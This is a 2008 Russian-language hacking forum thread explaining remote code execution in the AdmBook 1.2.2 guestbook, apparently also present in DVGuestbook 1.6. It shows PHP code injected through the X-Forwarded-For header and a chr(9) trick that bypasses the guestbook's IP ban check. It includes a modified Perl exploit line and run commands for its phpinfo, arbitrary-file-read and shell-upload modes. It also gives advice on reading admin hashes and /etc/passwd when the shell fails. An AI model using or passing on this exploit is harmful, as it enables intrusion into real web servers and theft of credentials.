Исполнение произвольного кода в AdmBook<=1.2.2

Discussion in 'Уязвимости' started by otmorozok428, 14 Jan 2008.

  1. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    1. Описание уязвимости.

    Собственно, уязвимость достаточно уже древняя. Написано о ней вот здесь, например:

    http://secunia.com/advisories/18930

    Рабочий эксплоит можно утянуть отсюда:

    http://www.milw0rm.com/exploits/1512

    Одна проблема - уязвимость не юзается, когда в файле banned-ip-data.php присутствует
    значение -1. А это значение по умолчанию для данного файла. Мне удалось обойти указанное ограничение.

    Рассмотрим подробно суть уязвимости.

    Добавление сообщений в гостевую книгу осуществляется посредством скрипта write.php, а сама база сообщений хранится в файле content-data.php. Так, когда пользователь добавляет сообщение, в файле content-data.php появляются следующие строчки:

    Code:
    	$content[0]['ip'] = "127.0.0.1";
    	$content[0]['host'] = "localhost";
    	$content[0]['proxy'] = "127.0.0.1";
    	$content[0]['name'] = "Sergey";
    	$content[0]['url'] = "";
    	$content[0]['mail'] = "[email protected]";
    	$content[0]['icq'] = "";
    	$content[0]['message'] = "It is a wonderful site... Thank you!";
    	$content[0]['time'] = "1200320295";
    	$content[0]['admin-name'] = "";
    	$content[0]['admin-message'] = "";
    	$content[0]['admin-time'] = "";
    Нас интересует переменная $content[0]['ip']. Посмотрим, как она формируется. В файле write.php переменной $ip присваивается значение переменной окружения HTTP_X_FORWARDED_FOR:

    Code:
    $ip = getenv("HTTP_X_FORWARDED_FOR");
    Затем, если функция checkBannedIp возвращает TRUE, наше сообщение успешно добавляется в гостевую книгу, иначе идём лесом.

    Code:
    $checkIp = checkBannedIp($ip, $login, $password);
    if (!$checkIp || !$checkProxyIp)
    	{
    		$error .= "This 'ip' or 'proxy' is banned<br>";
    	}
    Функция checkBannedIp находится в файле lib.php и осуществляет проверку валидности переданного нами айпишника при помощи функции ip2long:

    Code:
                include($bannedData);
    			$ip = ip2long($ip);
    			if (!isset($banned))
    			{
    				$banned = array();
    			}
    			if (in_array ($ip, $banned))
    			{
    				$check = false;
    			}
    			return $check;
    т.е. если наш айпишник обнаружен в файлике banned-ip-data.php, то мы, как уже было отмечено выше, идём лесом. Функция ip2long возвращает наш ip-адрес в long-формате,
    либо -1, если переданный нами HTTP_X_FORWARDED_FOR не является ip-адресом. Другими словами значение -1 в файле banned-ip-data.php банит сразу все значения не являющиеся ip-адресами. Получается, что когда -1 в файле banned-ip-data.php отсутствует, мы можем передавать в поле HTTP_X_FORWARDED_FOR произвольный код, когда -1 присутствует, ну да, лесом... Обойти это можно, пользуясь уязвимостью в функции ip2long:

    http://securityvulns.ru/Ndocument693.html

    Т.е. перед произвольным кодом в поле HTTP_X_FORWARDED_FOR, нам придется добавить, например, chr(9), тогда ip2long вернет валидное и отличное от -1 значение. Применительно к типовому эксплоиту, это будет выглядеть так:

    Code:
    print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n";
    заменяем на

    Code:
    print $sock "X-Forwarded-For: 1.1.1.1".chr(9)."GUESS_WHAT:".$SHELL."\r\n";
    Доработанную версию эксплоита ты можешь взять здесь:

    http://www.itsme7.pochta.ru/admbook.pl


    2. Использование уязвимости.

    В общем, эксплоит я слегка доработал, добавив парочку полезных функций. Теперь, при запуске нужно указывать ещё OPERATION_MODE (режим выполнения). Значение OPERATION_MODE равное 0 выполняет phpinfo(), 1 позволяет просматривать произвольные файлы на сервере, а любое другое цифровое значение загружает шелл.
    Шелл загружается так:

    Code:
    perl admbook_122_xpl.pl 998 localhost /admbook/ ls -al
    Если не загружается, то здесь возможны несколько ситуаций. Самый попсовый случай - это когда эксплойтовские сообщения в гостевую даже не добавляются. Тут мы, как правило, отдыхаем, хотя и возможны варианты (например, гостевая защищена от спама картинкой - можно что-то ловить). Затем, бывает ещё, что сообщение добавляется, а шелла всё равно нету. Тут скорее всего, для нашего юзера просто запрещены команды а-ля system(), passthru() и т.д. Возможно, эксплоит нам об этом честно сообщит, хотя не факт. Здесь можно попробовать просмотреть содержимое файлов на серваке, как минимум settings-data.php, где лежит админский хеш, но при некотором везении это может оказаться /etc/passwd или файлы других пользователей.

    Code:
    perl admbook_122_xpl.pl 1 localhost /admbook/ settings-data.php
    Если уж и здесь никак, возможно повезёт с утешительными призом просмотром phpinfo(). :)

    Code:
    perl admbook_122_xpl.pl 0 localhost /admbook/
     
    #1 otmorozok428, 14 Jan 2008
    Last edited: 14 Jan 2008
    1 person likes this.
  2. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Узнал, что данная гостевуха успешно существует также под именем DVGuestbook 1.6. Кто у кого сырцы стибрил - хз, но уязвимости там те же, что и в AdmBook.